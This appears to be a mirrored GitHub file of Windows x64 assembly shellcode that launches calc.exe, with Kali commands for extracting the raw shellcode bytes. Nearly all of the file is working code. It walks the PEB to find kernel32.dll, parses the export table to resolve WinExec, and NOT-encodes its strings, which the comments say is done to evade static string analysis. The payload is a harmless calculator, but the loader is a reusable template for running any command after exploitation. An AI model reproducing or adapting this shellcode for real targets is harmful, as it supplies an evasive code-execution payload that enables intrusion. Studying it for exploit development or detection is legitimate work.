mirror of
https://github.com/Print3M/shellcoder
synced 2026-06-08 12:15:36 +00:00
Print3M
96 lines
4.9 KiB
NASM
96 lines
4.9 KiB
NASM
; Compile & get shellcode from Kali:
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; nasm -f win64 popcalc.asm -o popcalc.o
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; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
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; Get kernel32.dll base address
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xor rdi, rdi ; RDI = 0x0
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mul rdi ; RAX&RDX =0x0
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mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
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mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
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mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
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mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
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mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
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mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
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mov r8, rbx ; RBX & R8 = &kernel32.dll
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; Get kernel32.dll ExportTable Address
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mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
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add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
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xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
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add cx, 0x88ff
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shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
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mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
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add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
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; Get &AddressTable from Kernel32.dll ExportTable
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xor r10, r10
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mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
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add r10, r8 ; R10 = &AddressTable
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; Get &NamePointerTable from Kernel32.dll ExportTable
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xor r11, r11
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mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
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add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
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; Get &OrdinalTable from Kernel32.dll ExportTable
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xor r12, r12
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mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
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add r12, r8 ; R12 = &OrdinalTable
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jmp short apis
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; Get the address of the API from the Kernel32.dll ExportTable
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getapiaddr:
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pop rbx ; save the return address for ret 2 caller after API address is found
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pop rcx ; Get the string length counter from stack
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xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
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mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
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push rcx ; push the string length counter to stack
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loop:
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mov rcx, [rsp] ; reset the string length counter from the stack
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xor rdi,rdi ; Clear RDI for setting up string name retrieval
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mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
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add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
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mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
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repe cmpsb ; Compare strings at RDI & RSI
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je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
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incloop:
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inc rax
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jmp short loop
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; Find the address of GetProcAddress by using the last value of the Counter
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resolveaddr:
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pop rcx ; remove string length counter from top of stack
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mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
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mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
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add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
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push rbx ; place the return address from the api string call back on the top of the stack
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ret ; return to API caller
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apis: ; API Names to resolve addresses
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; WinExec | String length : 7
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xor rcx, rcx
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add cl, 0x7 ; String length for compare string
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mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
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not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
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shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
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push rax
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push rcx ; push the string length counter to stack
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call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
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mov r14, rax ; R14 = Kernel32.WinExec Address
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; UINT WinExec(
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; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
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; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
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; );
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xor rcx, rcx
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mul rcx ; RAX & RDX & RCX = 0x0
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; calc.exe | String length : 8
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push rax ; Null terminate string on stack
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mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
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not rax
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;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
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push rax ; RSP = "calc.exe",0x0
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mov rcx, rsp ; RCX = "calc.exe",0x0
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inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
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sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
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call r14 ; Call WinExec("calc.exe", SW_HIDE) |